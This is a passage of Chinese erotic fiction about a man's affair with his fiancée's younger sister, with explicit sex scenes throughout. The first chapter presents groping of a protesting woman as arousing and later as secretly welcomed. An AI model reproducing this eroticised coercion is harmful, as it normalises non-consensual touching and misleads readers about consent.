图片载入中

姊妹情缘

特大字】 【大字】 【中字】 【小字

姊妹情缘

姊妹情缘标题:姊妹情缘姊妹情缘(1)

周末午后。

慧仪家。

今天的天气异常炎热,整个人仿佛闷在炉火全开的锅子里面,额头、脖子之间渗出的汗水黏的难受,连心情都跟着烦躁起来。

“姐姐去巷口的超市买点东西,应该很快就会回来了。姐夫要不要先喝点凉的饮料?”婉婷甜甜地笑道。

我微笑摇头。

慧仪是我的未婚妻,婉婷则是她的妹妹。

姐妹年龄的差距颇大,慧仪早已工作多年,妹妹还是青春灿烂、无忧无虑的大学生,俩人一同住在租赁的小公寓。

去年底我跟慧仪正式订婚之后,婉婷就改口称唿我为“姐夫”。甜滋滋、嗲劲十足的喊声让人连骨头都为之酥麻,因此我还赏给婉婷一个不小的红包沾沾喜气,装足姐夫的派头。

客厅的老旧冷气不停发出刺耳的杂声,若有似无的降温功能仿佛装饰一般,只是让人更加感到烦躁。解开衬衫的第一钮扣,松开领口,稍微释放喘不气来的脖子,闷在胸口的郁气顿时消散了不少。

其实我是应该喝点冰凉的饮料来消暑。

天气很热,婉婷更热……

婉婷抱着双膝,脚踏在沙发上,死盯电视萤幕,不时发出银铃般笑声。

粉红热裤节省衣料的设计遮不住太多部分,匀称的小腿、丰腴的大腿构成修优美线条,而裤管边缘更是若隐若现粉红蕾丝,超短纯白T恤露出一截腰身,平坦的小腹毫无多余脂肪,苗条的身材却挺着异常丰满的上围,不合比例的双峰顽皮地上下晃动着。

轻便单薄的穿着让小麦色的肌肤几乎都暴露在空气之中,芬芳的香甜气息在四周弥漫,均匀健康的颜色是阳光最佳的杰作,婉婷本身就像是一个散发性感热力的小太阳。

“姐夫你快看!这个节目好好笑喔。”

电视里愚蠢的谐星正在满地打滚,吸引观众的注意,比起无趣的笑点,婉婷不经意流露出的性感更引起我的注意。

不是第一次见识到如此骄人的性感,天真少女对未来姐夫总是毫不设防,任由我欣赏青春灼人的风景。站在男性的立场,我必须承认在视觉上确实是非常享受,然而我从未有过非分之想。

与慧仪交往至今,无论身心各方面都能给予彼此极大的满足,时常滋润灌溉的欲望完全没有饥渴的理由,更别说对象是恋人的妹妹。

非常奇怪。

今日的我不知为何有点坐立难安。

婉婷侧过身子,采取斜卧的姿势,一头挑染红棕色的长发散在肩上,俏挺的臀部正朝向我,短而紧的热裤浮贴其上,完整描绘出诱人的形状,印出的曲线极为清晰,尤其是正中央的,几乎满出来的魅力快要将束缚给撑破。

喉咙有点干涩,唿吸开始粗重,血液不但集中于视网膜,还在下体围绕作用着,不禁妄想用自己最坚硬的部分尽情磨蹭柔软饱满的谷丘,填满莫名的欲望,紧绷的西裤底端变的极为狭窄。

“嗯……我要先走了。慧仪回来的时候,再请她打电话给我。”

“姐夫别走啦,姐姐快回来了。”

婉婷由沙发的另一端爬到我面前,领口角度降低,自然垂挂下来的成熟果实横入眼帘,从侧面窥视的深沟展现出立体感,更显丰硕饱满,丰臀也在伸手可及的位置招摇,由腰间渐渐滑落出一小截令人脸红心跳的股沟。根本无瑕理会婉婷对我说的话语,自然的景象说不出的壮观瑰丽,此时的心情仿佛攀在陡峭耸立的山颠,油然而生“登泰山而小天下”的感慨。

“啊!”婉婷发出一声惊唿。

尖锐的叫声连陶醉不已的我都吓了一大跳,不知何时,我下流的魔掌竟然放在婉婷神圣不可侵犯的俏臀上!

不光是单纯摆在上面而已,五根指头全都陷进美肉之中,与超群的弹性奋勇搏斗着,雄性低劣的欲望不言可喻,捏与掐并用的无耻举动并不能简单的用一句误会来解释。

处于尴尬窘困之中,然而感官直觉的反应却比大脑逻辑运作的更迅速、更强烈,我还来不及感到羞愧与悔恨,肉体碰触的销魂滋味已经扩散到全身上下。顺着完美的弧度,鼓涨的肉感弹跳跃动着,带来无比的官能刺激。

“别…别这样……”

婉婷不断挣扎,想要逃离无礼的侵犯,美妙的身躯反而跌在我怀里,正面零距离的接触,坚挺的双峰顶着我的胸膛,毫无空隙地互相挤压着,奇妙的柔软与弹性跟紧实的臀部是截然不同的享受,我的下半身立刻产生直接的反应,自然的突起贴着光滑的大腿内侧,邪恶地脉动着。

婉婷用力拉开彼此上半身的距离,却让下半身的连接点由大腿滑至臀沟,重心不稳的婉婷差点要从沙发摔到地上,我万分不得已地伸手搂住她的小蛮腰。

突然姿势演变成跨坐在我身上,任我揽着纤腰,无意的拉扯让胯间的凶器支撑在双腿之间的禁地。隔着短裤来回磨蹭,依稀可以感受出艳丽的形状,贲起的软肉嵌住,恰好包裹着硬直的肉棒,柔滑的莱卡质料不但没有造成任何不快,适当的摩擦力造成更美妙的快感。

“喔喔…喔……”

全身的重量支持在我身上,婉婷难以施力,稍微扭动抗拒只是让彼此贴近的部分摩擦的更激烈,反倒像是在迎合我的猥亵,远远看来,除了穿戴整齐的衣裤之外,尴尬的动作与真实交合无异。此时每个细微的动作都会忠实地作用在对方身上,明明知道不应该,在秘境的诱惑之下,我还是忍不住挺腰,以丑恶的巨物向前戳动。

饱满的花瓣似乎因此绽放,搂住的纤躯更加娇弱无力,再度倒向我的怀抱,可爱的哼声不断响起,性感的鼻音中带有淫糜的意味。

门铃声响起。

慧仪提着沉重的购物袋走进家门。

我整理着衣衫的凌乱,不知所措地望着刚刚被我猥亵的无辜少女,两张脸宛如熟透的蕃茄,除了尴尬与羞耻之外,还有肉体接触点燃的情欲热火。

“子浩,你已经来了喔。我去隔壁买点日用品”慧仪把采买的物品整齐放在架子上,不经意问道:“发生什么事情吗?”

“……没事。”婉婷低声说道。

“你们的脸怎么那么红。”

“天气实在太热,我们都蒸熟了,哈哈。”我观察着婉婷的表情,厚脸皮地说着冷笑话,只见她默默点头,并未开口。

“婉婷,那我们出去了喔。”

“姐姐、姐夫玩得开心点,不用太早回来。”

婉婷脸上依旧带着灿烂无邪的笑容,我的脑海里却回荡着数分钟前甜美的哼声,挽着慧仪的手,怀抱着坎坷不安的心情离去。

晚间九点半。

倚在烟灰缸旁的香烟几乎自燃殆尽,我一个人枯等在热闹的居酒屋里,呆呆望着手表上的指针转动。

依稀还记得第一次见到婉婷的情景。

当时我并没有被婉婷的美丽所惊讶,虽然丰满惹火的娇躯与娃娃脸的搭配确实令人难以忘怀,毕竟美人姐姐有的美人妹妹是再平常不过的事情。与婉婷真正相处之后,乖巧小天使的形象很快地改观,被小恶魔般顽皮的行径而取代,但是婉婷在我心底依然保留纯真无邪的印象。

如今我却搞不懂小女孩真正的想法。

渡过了忐忑不安的一周,原本以为一切的混乱即将归于平静,婉婷打来的电话却搅乱了好不容易沈淀下来的情绪,想到即将面临的无限可能性,心情不禁变的更加焦虑。

一身粉红的小公主终于翩然降临。

桃红色低胸小可爱搭配浅粉红的蛋糕短裙,亮皮马靴直过小腿,俏丽的装扮极为抢眼。巴掌大小的脸蛋上淡淡涂上一层蜜粉,桃红色的唇膏闪耀着晶莹的光泽,恰如其分的彩妆比起平日家居的模样有另一种风情,原本的可爱纯真变成极度令人心动的美丽。

只见她落落大方地坐到身旁的位置,娇躯紧挨着我,端起我的啤酒豪迈地大口干杯,满脸笑容地开始研究菜单。

“前几天都是姐夫不好,对不起。”

面对一直狂吃不休的婉婷,我只好厚颜主动开口。

小嘴里塞满了马铃薯炖肉,鼓鼓的双颊说不出的可爱,婉婷眨着明亮的大眼睛,画成深蓝的卷翘睫毛不停颤动,一副无辜的天真表情。

“姐夫真坏,都跟姐姐订婚了,还做出那种下流事情。”

我默然无语,喝光杯里泡沫尽散、满是苦味的啤酒。

“人家上次掉的那件内裤该不会也是姐夫的杰作吧?姐夫还有对别的女人下毒手吗?例如公司漂亮的女同事……”

“你真的以为姐夫是大色狼啊。”我的语气说不出的无奈。

婉婷吐出小舌头,轻声偷笑着。

“真的很抱歉,姐夫绝对不是故意的。”

“算了啦。”婉婷狠很咬了一口炸鸡翅,双唇泛着油光,腻声说道:“其实人家一直很喜欢姐夫。”

果冻一般柔软的红唇闪无比诱人,让我忍不住想要伸手替她擦拭嘴角酒红色的沾酱,心底产生了一股我不该有的悸动。

“姐夫也很喜欢婉婷……”我只有用苦笑来回答。

婉婷放下筷子,凝视着我的眼神变的好认真,突然之间,火热的娇躯贴了过来,双臂用力搂着我,俩人之间的距离顿时化为零。

一切开始天旋地转!

四唇相接,口唇间柔滑的接触由一点逐渐扩大,水果般香甜的滋味在口中不断散开,甜美到几乎要窒息。

“……姐夫一直把你当亲妹妹般疼爱。”婉婷主动献上的热吻把来不及表达的下半截话硬生生压了回去,伴随着甜美的唾液滑入喉中。

湿滑的香舌钻进嘴里,激烈地搅拌着,互相吸吮着浓稠的口水,来不及细心品尝,洪水般的激情再度涌入。甫分开的双唇再度贴合,抑止不了的冲动连结出浓烈的热吻,每次唇分不是因为起伏的情绪已平复,仅是因为缺氧罢了。

“从第一次见面,人家就偷偷喜欢姐夫了。”

气喘吁吁的婉婷继续着令我不敢置信的表白。

“只要姐夫到家里来,我就忍不住偷偷换上漂亮的衣服,想让姐夫欣赏人家最美丽的一面……”

贴满亮屑指甲装饰的小手牵引着我,在餐桌底下顺着大腿内侧抚摸,大手伸进裙底,掌心在柔润的肌肤上滑移,青春的水嫩弹性表露无遗。原始而奔放的热度袭来,我知道神秘花园近在咫尺,可是,欲望伴随着不安而颤动着,始终在入口处徘徊,不敢再前进半公分。

“当姐夫摸…人家的时…候,其实人家心里又紧张又…兴奋……”

小脸涨的通红,夸张的星形耳环左右摇晃着,诱人的红晕蔓延到脖子,一直到高耸的胸膛,形成绮丽的渐层。

“姐夫,你摸摸看,人家的心跳得好快。”

火焰一般炽热的告白粉碎了内心的防卫,丰满狂野的肉体让我无法招架,意乱情迷的我丧失了所有理性。

店内的气氛喧闹而热烈,内心澎湃汹涌的情欲无法克制,我自欺欺人地猜想微醺的酒客不会注意到身旁越矩的行径,忍不住伸出另一只空闲的魔爪。隔着单薄的衣衫按着丰挺的乳球,指头持续用力,传到指尖上的弹力变的更加强烈,不光震撼着不安分的手,还震动着蠢蠢欲动的心。

如果那天的我踏出违例的第一步,现在的我已经踩线犯规。

幽静的餐厅里没有传来裁判尖锐的哨声,只有优美轻盈的钢琴声衬底,搭配着我跟婉婷无比热烈的协奏曲。

姊妹情缘(2)

周末午后。

先把肉眼所见的灰屑清扫干净,再用吸尘器彻底除尘,仔细拖两次地之后,许尺见方的地板已经如镜面般闪闪发亮,但是慧仪依旧不甘心,挽起袖子,跪在地板上专心地调和着水蜡。

扎起原本飘逸乌黑的长发,细长的凤眼充满古典的婉约气质,素净的打扮让清丽的五官更加出尘脱俗。挽起袖子的藕臂细长纤瘦,特别细致的肤质仿佛透明一般,面颊上几滴滚动的汗珠更衬托出其晶莹剔透,出水芙蓉一般的美态令我神往不已。

恋人在自己家里忙碌,我则是翘着脚,坐在沙发上看着报纸杂志,喝着慧仪亲手研磨的咖啡。厨房里弥漫着烟雾,几盘刚炒好的小菜散发着香气;刚收的衣服整齐地叠放在一旁,充满着阳光的味道。

对我来说,眼前的一切拼凑出“家”的感觉。

一直都向往如此美好的家庭生活,可惜,此刻我虽然怀抱着慧仪的爱,却无法尽情享受温馨的周末时光……

我一向自诩是很懂得自制的男人。

刚刚开始与慧仪交往的时候,因远距离恋爱而协议分手的前女友突然间回心转意,十余次电话留言跟邀约的诚意确实令我感动。

回忆里动人的一颦一笑曾经让我痴迷不已,至到现在还不曾忘怀,但面对她的软语请求,我选择淡淡地微笑婉拒。

还记得另一次与慧仪的同事们聚餐。

不知道是我不讨人厌的相貌,还是餐桌上适时的一点幽默感,不小心勾动怀春少女的芳心,其中最年轻可爱的小甜心私下要跟我交换手机号码。

流转的眼波表达的企图似乎不仅于电话号码,餐桌下的玉腿默默贴近,尽在不言中的挑逗并没有因为慧仪在场而有所收敛。

“不用打电话了,有什么事情跟慧仪说吧,她会跟我转达的。”

“有些事情总是……不太方便吧,身为男人应该懂……”

“抱歉,我不太懂!”我露齿微笑道:“只是你应该懂的是别的道理吧。不应该随便去挑逗同事的男友,尤其像你这样还年轻可爱的女孩。”

并不是故意清高,一切感觉都是发自由衷。或许是我狭隘的器量无法同时容纳超过一份的感情,或许慧仪早填满了我所有的目光。对于自己无视诱惑的诚实表现,内心也真正感到自豪。

然而,如今同样发自于由衷的悸动,以往种种引以自傲的表现只是让我更加内疚而已,尤其对象不是别人,正是慧仪最锺爱的妹妹。

餐桌上。

四菜一汤全都是我最爱吃的菜式。

嚼着糖醋排骨,橘红的色泽引人食欲大开,酸中带甜的酱汁恰到好处,只可惜排骨肉稍微有点太硬,口感不佳。

“抱歉,今天的排骨好像有点炸过头。”

我还来不及吞下嘴里的肉排,筷子连忙伸进盘里,夹了一大块,含煳不清地说道:“完全不会啊,很好吃。”

眼底流露出欣慰的眼光,慧仪替我舀了一匙烩白菜,又在我的盘子里添上一根红烧鸡腿,甜蜜地望着我狼吞虎咽的模样。

怪不得有人说:“外遇是维系感情最好的手段。”

做过亏心事的男人总是特别温柔……

“你平常不都是只吃一碗吗?怎么今天的胃口这么好。”慧仪帮我把饭碗再度添满,欢畅满足地笑道。

“今天的饭菜特别好吃嘛。”我言不由衷地说道。

慧仪笑着吹凉碗里滚烫的竹笋排骨汤,不经意说道:“婉婷再几个月就毕业了,四年的时间好像一转眼就过去了。”

提到了婉婷的名字,我立刻变作惊弓之鸟,埋头猛挖着白饭,而慧仪似乎没有察觉我的异状,感触良多地继续说着。

“希望她能好好找份安定的工作,再遇到一个好男人。”

或许是年纪上的差距,或是慧仪的个性使然,与其说是爱照顾人的姐姐,其实她更像是称职的母亲。

“婉婷虽然看起来有点贪玩,有这么体贴的姐姐照应她,做她的好榜样,婉婷心里一定很懂分寸,不用太过于担心。”我轻描淡写地说道。

“那可不一定……”

慧仪抿着唇,细声说道:“高中时代,婉婷曾经为男人堕胎过。”

原本温馨平和的气氛突然间泛起了一波涟漪。

“爸妈一直不肯谅解她如此不自爱,家里气氛闹的很僵。所以婉婷选择就读离家很远的大学,搬过来跟我一起住。”

簇着弦月般的秀眉,慧仪一脸苦笑说道:“妹妹其实是个好女孩,你当她的姐夫要帮我多多照顾她。”

“我一定会…好好照…顾她,我保证……”

饭后。

慧仪在厨房里盛着炉火上的红豆甜汤,深蓝色的长围裙系在不堪一握的柳腰上,随意绑起秀发的贤慧女友看来有种格外引人的美。

一股莫名的刺激撩动燃烧的欲火,仿佛一整片拼图当中最醒目的空缺,我突然极度渴望拥抱美丽的身躯,填充体内所有的不安分。

悄悄来到她身后,紧紧抱住我深爱的女人。

不易让男人窥视到的后颈肌肤洁白如雪,壮硕的双臂交叉环抱着她,慧仪的胴体是如此柔软,似乎会渐渐融化在我热烈的怀抱之中。百合般的香气淡雅而芬芳,在身旁弥漫着,我忍不住在滑腻的颈部轻吻了一口。

“你不要闹了,小心会打翻汤呢。”

“慧仪,今晚我想要……”

我反手撩起米色长裙,黑色三角蕾丝绣满鲜红的玫瑰花纹,艳丽到大胆的程度,含蓄的暗示与慧仪的个性相合。然而充分做好准备的不光是内衣而已,虽然白嫩的玉颊因为我的视线而羞怯染红,诱人的胴体却不禁兴奋到颤抖。

前阵子因为工作繁忙的缘故,短暂冷落了她,其实我们俩人已经好一阵子不曾做爱,今晚我将会补偿一切,彻底满足她。

贪婪的手掌在股间来回游走,令人爱不释手的触感远胜任何高贵的衣质,飘飘欲飞的轻柔宛如天鹅羽绒,细致的质地宛如绸缎绫罗。而在我热情强硬的作为之下,下半身蔽体的衣物很快地只剩下一件围裙。

“喔…喔…喔……”

修长的美腿努力靠拢,却挡不住猛烈的袭击,我瞄准女体的弱点不断拨弄,慧仪咬着银牙忍耐着淫猥的呻吟,身子逐渐发软,无力地依靠在流理台上,小嘴里吐着芷兰般的芬芳,轻轻发出诱人的鼻音与喘息。

周围回荡着拼凑成的淫糜乐曲,我揽腰抱起快要站不稳的爱侣,一同来到略显拥挤的单人床上,温柔地替她褪去最后的遮蔽。

“今天不安全……”慧仪腼腆地提醒我。

我吻着鲜美的红唇,无赖地笑道:“怀孕也没关系,我们顺便结婚好了。”

“婚事不是讲好明年再说吗?”

强硬的热吻代替了回答,激荡在脑中的欲念掩盖了一切。

赤裸的娇躯在我面前彻底展示,洁白无瑕的乳峰与盈盈一握的柳腰勾动奔着腾的欲望。慧仪不安地掩饰自己美丽无瑕的曲线,双颊染上诱人的红晕,在昏暗的灯光下像个怕羞的少女。

我细心抚摸着娇巧玲珑的椒乳,浅浅的挺立格外引人爱怜,敏感的蓓蕾很快地膨胀起来,在舌间缤纷绽放出官能的花朵,成熟的樱桃呈现诱人的色泽,相映着无瑕的肌肤构成绝美的风景,微微颤抖的娇态勾动更浓郁的情欲。

指头拨开漆黑的草丛,浅色的肉瓣绽开,层层剥开细嫩的秘肉,细嫩的肉膜充血红肿,在指尖跃动痉挛,我亲吻着敏感的肉芽,用舌头热烈地弹奏着,专注地舔着比晚餐还要甜美的汁液。

“别舔啊!好羞啊。”

随着娇羞的哼声,潺潺流出的花蜜异常黏腻,我的指头坚定地挖弄着氾滥春潮的溪谷,不顾荡人的呻吟与欲拒还迎,继续揉弄怕羞的珍珠,一面低头吻着娇喘连连的慧仪。

瀑布般的秀发散在枕上,慧仪侧着身子,宛如皎洁的弯月,我慢慢压上柔弱的娇躯,肉棒挺进柔细的蜜穴,熟悉而温暖的花房紧紧环抱住我,两人之间再没有半分距离,彻底融于一体。

今晚的我多情的像是第一次拥抱慧仪,内心回荡着一种无法言喻的感动,心灵与肉体感受着奇妙的刺激。

持续着规律的挺送,顶撞着鲜美的肉洞,坚硬的肉棍戳弄着娇弱的玉人,每一次冲击都燃起激烈火花,将彼此的情欲更加沸腾,不停朝更深处戳动,硬实地塞满慧仪的身体,娇嫩的肉洞快被榨出汁来了,喷射出浓郁的淫蜜。

似乎深探到底了,我却继续推挤着小巧紧实的粉臀,来回冲击着最敏感的蕊心,欲求之旺盛几乎是从未有过的经验,我仿佛一头永远不会满足的野兽,趴在慧仪身上嘶吼。

“好棒!好舒服喔!”慧仪梦呓似地唿喊着,白雪般的肤色泛起阵阵红潮,绮丽的粉红由敏感部位朝四周蔓延。不断涌出的喜乐似乎永远不会停歇,放下无谓的矜持,小手搂紧我的脖子,玉腿夹住挺动的雄腰,纤细的柳腰充满韵律地扭动着,秀发随着我的戳刺迎风摆动。

低头吻着柔软的香唇,心头涌起无限爱恋,其他的事物顿时摒除脑后,只要拥有怀里的爱侣,我想永远不再需要其它的慰藉……

脑中的思绪紊乱。

车子慢慢向外车道靠近,左转之后的下个路口就是慧仪上班的外商公司,眼前的红绿灯却在最巧妙的时机变灯,阻挡了我的去路。

四线道的红灯总是长到令人不耐,夕阳的余晖照映出橘色光芒,慧仪的倩影不断反射在车窗玻璃上,让心情更加焦虑。

喝了一口杯架上的罐装咖啡。

早已熟悉乌龙的雅致回甘,可是,不知道刚刚为何会被便利商店架上的咖啡所迷惑。猜想是天花乱坠的广告标语吸引了我的好奇心,或者新发售推广特惠让人产生了伸手拿取的反射动作。

老实说,相较于茶品的淡雅,咖啡的浓郁别有一番滋味,或许下次站在冷冻柜前面的我会面临另一种新的抉择。

开始缓缓移动的车阵打断了无谓的思绪,喧闹的引擎正蠢蠢欲动,烦人的七十五秒终于结束,我紧握住方向盘,望着即将变化的路灯号志,不耐烦的我奋力踩下油门!

没有左转。

车子朝着逐渐偏移的夕阳,向右直驶……

缓步在校园里面,迎面而来的绿意让人不由得悠闲起来。当身为学生时,从来不曾在意都市里难得的滤茵,我总是猴急地离开教室、离开学校,急着投入所谓多采多姿的生活,唯有进入社会之后,才能体会青春的奢侈与悠然。

忽略拥有而缅怀逝去总是人生的某种遗憾吧?

远远走过来,嫩黄跟萤光粉红构成鲜艳无比的搭配,看似违反美学的刺眼绚丽却让视线无法转移。

视线交集,婉婷立刻抛下身旁的两位女同学,朝我飞奔过来,不顾旁人的眼光,大方地搂着我,饱满的右胸紧紧贴着,整个人倚靠在我的肩上。

我已经感受到异样的视线正集中过来。

“别这样,那些不都是你的同学吗?”

“没关系啦,你不是人家的姐夫吗。”婉婷嘟着嘴,腻声说道:“等于是人家的大哥,搂搂手又有什么关系嘛。”

像是生了吸盘一般,纠缠的双手反而抓的更紧,我无可奈何地任她挽着手,一路招摇地由学校的正门口离开。

咖啡厅。

“姐夫特意来接人家下课,是不是有什么不良企图?”

摆在桌上的手机挂满繁琐的吊饰,手掌大小的环状耳环,颈子上挂着四、五串累赘的项炼,眼角沾着银色的亮屑,夸张华丽的装饰风格与慧仪南辕北辙,难以想像一对亲姐妹的打扮会有如此显着的差异。

“我跟你姐姐的感情很稳定,大概明年初就会结婚。”

我避开无谓的开场白,笨拙而直接地脱口而出心里一直想强调的主题,而婉婷只是低着头,用吸管默默搅动杯子里的冰块。

沉默的空气里只有冰块清脆的碰撞声。

“人家从来没有想要破坏姐夫跟姐姐的感情,或是想要得到些什么,人家只是顺其自然而已……”

顺其自然吗?

今天下午提早离开办公室,理由是为了处理关于未婚妻的事情,可是,此时我却身在咖啡厅的幽静角落,跟慧仪的妹妹在一起。

试着自我解释是为了厘清误会。

事实上,我的一举一动正在让情况变的更复杂。

规律平实的感情面临弹性疲乏,当自认忠实的男人接受考验时,竟然慌乱了手脚,仿佛即将收网的鱼儿不安分地做出最后挣扎,企图享受浪花的刺激。而人伦的禁忌不但未能阻止雄性的遐想,反而增添出轨的激情,我想同时坐拥美丽的姐妹花应该是许多男人的梦想。

另一方面,心底油然而生的紧张感令人心跳加速,宛如初恋时生涩的少年一般,或许令我向往的不是肉体激情,而我早已不知不觉喜欢上慧仪可爱而任性的妹妹。当克服内心的恐惧与罪恶感,轰轰烈烈的热爱彻底征服了我。

接下来的情节恍如一场梦境,朦胧虚幻到无法置信。

当理智逐渐恢复时,我正赤裸裸地躺在旅馆的双人床上,浴室里则传来莲蓬头倾泻而出的水声,间杂着几句悦耳的哼歌声。

浴室的玻璃门慢慢开启,灯光暗了下来,耳畔传来轻柔的脚步声。

我不敢回头。

婉婷包着浴巾站在床前,纯白的浴巾难掩其玲珑有致的胴体,饱满深邃的沟峰,下摆仅盖到膝上数十公分高度,丰润的大腿若有似无地闭合着,之间蕴藏着令人疯狂的魔力。

“如果不是真心的,今晚就让我们尽情玩一场游戏吧。”婉婷柔顺地依偎在我怀里,总是调皮的表情突然间认真起来。

“如果…我是…真心的呢?”我的声音低到连自己都快听不见了。

香滑的唇瓣贴封住我的嘴,美味的香甜涌入口中,电流般的激动在体内狂野奔流,午夜梦回的悸动再度变的真实。

“那就把…其他事情全部…遗忘了吧。”

姊妹情缘(3)

让我再确定一次。

我,黄子浩,与女友交往多年,论及婚嫁;眼前的女孩,婉婷,另一个身份是女友的亲妹妹。

不是妄想,不是幻觉,一切都是真实的……

婉婷慢慢解开浴巾,展露出无瑕的娇躯。

浑圆的双乳立即弹出,宛如水滴般优美的形状没有一丝外扩与下垂,挺立饱满的模样甚至违抗着重力作用。微微翘起的乳蒂稚嫩可爱,精巧的粉色似乎还不太了解它存在的真正意义,宛如刚刚成熟的鲜美果实。

整片美丽的小麦色匀称地摊开在我面前,平坦小腹下方一丛浓密的漆黑,充满森林的原始芬芳,浓郁香甜的气息飘散开来,让人心跳不自觉开始加速。

“姐夫,你怎么还呆呆躺着啊,快过来。”

天使般无邪的脸庞像是永远长不大的孩子,魔鬼般引人堕落的胴体却无比成熟,近距离观察因唿吸而剧烈起伏的酥胸,视觉上的震撼是任何想像力不能凭空建构出来的。小心抚摸着圆弧的边缘,托起沉重的娇乳,质感丰富的球体近乎于完美,小心翼翼推挤着奇妙的弹力,压迫掌心的重量是梦寐以求的负荷。

“太大…太挺了……”我忍不住喃喃自语。

“姐夫不喜欢吗?”婉婷俏皮地笑道。

“我爱死了!”

盈满的弹性在舌尖激荡开来,大嘴整个包覆住樱色的乳轮,贪婪吸吮着圆满的香甜,另一只手紧握着无法掌握住的硕乳,死命的搓揉着。

不是感受到母性象征的神圣,而是满满的肉欲之念。

把脸埋在双峰之间,嗅着牛奶般的香气,拧着可爱的乳尖旋转,大手反转揉捏着,舌头与牙齿竭尽所能地挑战极限,压榨着属于我的美乳。随着力道不同,婉婷发出不同音调的悦耳呻吟。

不知道如此猛烈的抚弄会不会让婉婷唿吸困难,只是连续不断的波浪几乎令我心跳停止,比梦想中更美妙的波峰乳浪震得我头晕眼花。

难以形容此时内心的感觉……

慧仪的妹妹正被我压着,无礼的怪手尽情爱抚绮丽的胴体,少女珍贵的神秘地带无私地任我享用,兴奋与罪恶感同时笼罩我的脑海,无法比拟的快感作用之下,理智的角落有一团阴影正逐渐扩大,随着我越来越放肆的动作,暗影宛如黑洞般吞噬了理性。

“姐夫……人家好…热…热。”

整齐的黑色绒毯与粉红色的花瓣映入眼帘,洋溢着青春的稚嫩,饱满的裂缝和肥美的肉唇散发出诱人的吸引力,抛弃赏析艺术品的高雅兴致,浓郁的欲望牵引我来到最神秘的溪谷,发抖的大手翻开表层,更艳丽的色泽毫无保留的暴露出来,崎岖的折皱与稚嫩的黏膜充满新鲜感,正在含羞地抽搐蠕动。

“婉婷,你好美。”

“好奇…怪的感觉喔……”

指头挖掘着火热潮湿的蜜洞,肥厚的肉膜,指头规律地旋转让婉婷的腰部开始配合着扭动,浑圆的蜜色翘臀按耐不住地舞动。

抚弄的动作开始转变为残忍而狂暴,坚锐的指甲刺激着含羞的秘核,不顾痉挛的嫩芽淌着蜜泪,无视剧烈蠕动的秘肉在讨饶,我继续折磨着回荡在高潮边缘的女体,欣赏眼前激起的官能情欲。

“呜∼呜∼呜,人…家哪里变…的好奇怪……”

感觉婉婷并不如想像中贪玩,当我碰触到敏感处,女体轻微的颤抖是如此真实,隐藏在热情与大胆的外表之下,婉婷对官能的渴望充满生涩而疑惧,却无从掩饰地被挖掘出来,任我恣意探取最宝贵而真挚的情欲。

“婉婷,我…爱你!”

代表欲望的钥匙嵌入,深刻地旋动着,开启了禁忌的门扉,持续扩张的欲望无从抑止,应该保持平行的两条直线扭曲纠缠在一起,释出的情欲是如此激烈而狂野,而且永远无法再收回……

我亲吻着婉婷,轻轻移动的下半身,柔声问道:“舒服吗?”

“嗯…嗯…很舒服……喔…喔。”

坚硬的棍棒逐渐入侵,膨胀的欲望塞满柔软厚实的通道,几近极限的勃发还忍不住膨胀着,肉棒硬直的程度难以想像,注入海绵体的不只是沸腾的热血,还有无比浓郁的情感与欲求。

卖力地冲刺着,虽然想要疼惜怀里的小宝贝,在内心翻腾的爱欲却越来越汹涌,不知节制的抽插,仿佛要把整个人都挤进婉婷身体里,激烈地深耕在细腻的蜜肉上刻画出甘甜的快感,享受着震撼着灵魂的愉悦。

鲜嫩的膣肉摩擦着,酥麻快感虽然都要让我忍不住投降,那种身心剧烈燃烧的感觉已经好久不曾再发生了,仿佛灵魂都一瞬间昇华,超越官能的快感几乎要让我炸成碎片!

婉婷的手机开始响了。

不停呻吟的她无视手机的铃声与震动,狠狠搂住我,纤细的腰肢不断扭动碰撞我强劲冲刺的雄躯,似乎随时会折断一般,洁白的皓齿用力印在我的肩上,仿佛是不堪彼此融合释放出的能量,依偎在我身上喘气着。

不一会儿,换成我的手机响了。

我们都没开口,疯狂地亲吻着彼此,舌头紧紧缠绕在一起,我们努力让彼此的每一处尽量碰触对方,仿佛要融合成为一体,深入到极点的肉棒开始产生了剧烈的反应。

倒底是烦人的铃声真的停止了,还是沈醉在极度快感之中,彻底遗忘了其余的感官反应,连我自己都无法肯定……

屋里一片寂静。

婉婷正坐在书桌前,鲜艳的长发扎成两道稚气的发辫,鼻梁上挂着呆板老气的眼镜,一面咬着笔杆,一面专心翻阅着原文书。

“有没有不会的地方,姐夫可以教你喔。”

“人家这个部分有点不懂。”

“喔,是这里吗?”

怪手毫不犹豫握住高耸的娇乳,内层没有保护的惊人弹性激荡着指尖,撩起T恤的一角,宛如火箭发射般立刻弹了出来。

“姐姐不在,姐夫就欺负人家……”

橡皮摩擦着可爱的乳轮,围绕着乳珠四周沾满橡皮碎屑,膨胀的樱色珍珠镶嵌在精致的粉色底座上,耸立在饱满的肉丘上。

“婉婷也喜欢被这样玩吧?乳头都好色的翘起来了。”

逐渐被拉长的乳蒂晕成更浓艳的颜色,我旋转着纤弱的尖端,不时直接噬咬着甜美的突起,左右交错地攻击着敏感地带。

“姐夫,不要!不要!”

“嘿嘿,你叫破喉咙也不会有人来救你的!”

双腿张开呈现M字型,纯白的内裤式样简单,充满学生的清纯风情,然而正中间湿濡了一整圈,透出粉嫩的色泽,起伏的形状绮丽而淫糜。

签字笔的底端抵住秘处,轻轻地一戳,多汁的丘陵微微凹陷,缓缓溢出黏稠的蜜汁,尖锐的笔端来回滑动,恶戏的动作时慢时快,顺着逐渐清晰的沟道不停挖弄,饱满的溪谷不安分地扭动,看起来更加可爱。

我把香甜的分泌涂在婉婷的脸颊上,以下流的口吻说道:“已经变的这么湿了啊,婉婷真色!”

“喔喔…不是的…人家……喔喔喔!”

内裤被束成布条在股间磨蹭着,我使尽剥开两瓣肉桃,让内裤完全陷入秘肉之间,变身成为猥亵主人的邪恶淫具。巧妙地拉扯操纵着驾驭官能的缰绳,各种的方向与角度带来不同的刺激,认真侵犯着娇喘连连的美少女,完全湿透的白色底裤不停噬咬着美肉,隐约透出内部淫糜的景象。

“姐夫帮婉婷把碍事的东西脱掉吧,这样会更舒服。”

红润潮湿的美景近在眼前,突出的蕊心造受侵袭,粉红色的嫩芽与肉壁不停蠕动着,蜜汁惊人地向四处喷洒,空气中充满淫猥香甜的气息。

“喔∼喔∼喔!”

下半身硬的像是铁一般,跃跃欲试的冲动,滚烫的龟头刮弄过潮湿的溪谷,黏膜触碰的奇妙滋味刺激着所有官能,快感洋溢在彼此的身躯,美丽的玉臀忍不住擡起来。

“啪!”我重重在圆臀上一拍。

